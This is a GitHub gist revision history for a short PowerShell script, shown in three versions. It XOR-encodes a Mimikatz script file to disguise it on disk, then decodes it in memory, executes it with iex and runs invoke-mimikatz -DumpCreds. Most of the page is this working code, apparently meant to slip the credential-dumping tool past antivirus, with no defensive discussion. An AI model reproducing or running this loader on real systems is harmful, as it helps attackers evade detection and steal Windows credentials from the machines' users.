Last active
December 17, 2015 21:10
Revisions
-
breakersall revised this gist
May 8, 2015 . 1 changed file with 3 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -2,17 +2,17 @@ $inputMim = "C:\Tools\Mimikatz.txt" $OutMimEnc = "C:\Tools\EncMimikatz.txt" $bytes = [System.IO.File]::ReadAllBytes("$inputMim") $key = 137 for($i=0; $i -lt $bytes.count ; $i++) { $bytes[$i] = $bytes[$i] -bxor $key } [System.IO.File]::WriteAllBytes("$OutMimEnc", $bytes) #####Decode Example###### $iFile = "C:\Tools\EncMimikatz.txt" $bytes = [System.IO.File]::ReadAllBytes("$iFile") $key = 137 for($i=0; $i -lt $bytes.count ; $i++) { $bytes[$i] = $bytes[$i] -bxor $key -
breakersall revised this gist
May 8, 2015 . 1 changed file with 2 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -2,7 +2,7 @@ $inputMim = "C:\Tools\Mimikatz.txt" $OutMimEnc = "C:\Tools\EncMimikatz.txt" $bytes = [System.IO.File]::ReadAllBytes("$inputMim") $key = 1337 for($i=0; $i -lt $bytes.count ; $i++) { $bytes[$i] = $bytes[$i] -bxor $key @@ -12,8 +12,7 @@ $bytes[$i] = $bytes[$i] -bxor $key #####Decode Example###### $iFile = "C:\Tools\tempenc.txt" $bytes = [System.IO.File]::ReadAllBytes("$iFile") $key = 1337 for($i=0; $i -lt $bytes.count ; $i++) { $bytes[$i] = $bytes[$i] -bxor $key -
breakersall created this gist
May 8, 2015 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,22 @@ #######EncodeExample $inputMim = "C:\Tools\Mimikatz.txt" $OutMimEnc = "C:\Tools\EncMimikatz.txt" $bytes = [System.IO.File]::ReadAllBytes("$inputMim") $key = 123 for($i=0; $i -lt $bytes.count ; $i++) { $bytes[$i] = $bytes[$i] -bxor $key } [System.IO.File]::WriteAllBytes("$OutMimEnc", $bytes) #####Decode Example###### $iFile = "C:\Tools\tempenc.txt" $bytes = [System.IO.File]::ReadAllBytes("$iFile") $key = 123 #Where the magic happens for($i=0; $i -lt $bytes.count ; $i++) { $bytes[$i] = $bytes[$i] -bxor $key } $String = [System.Text.Encoding]::ASCII.GetString($bytes) iex $string ; invoke-mimikatz -DumpCreds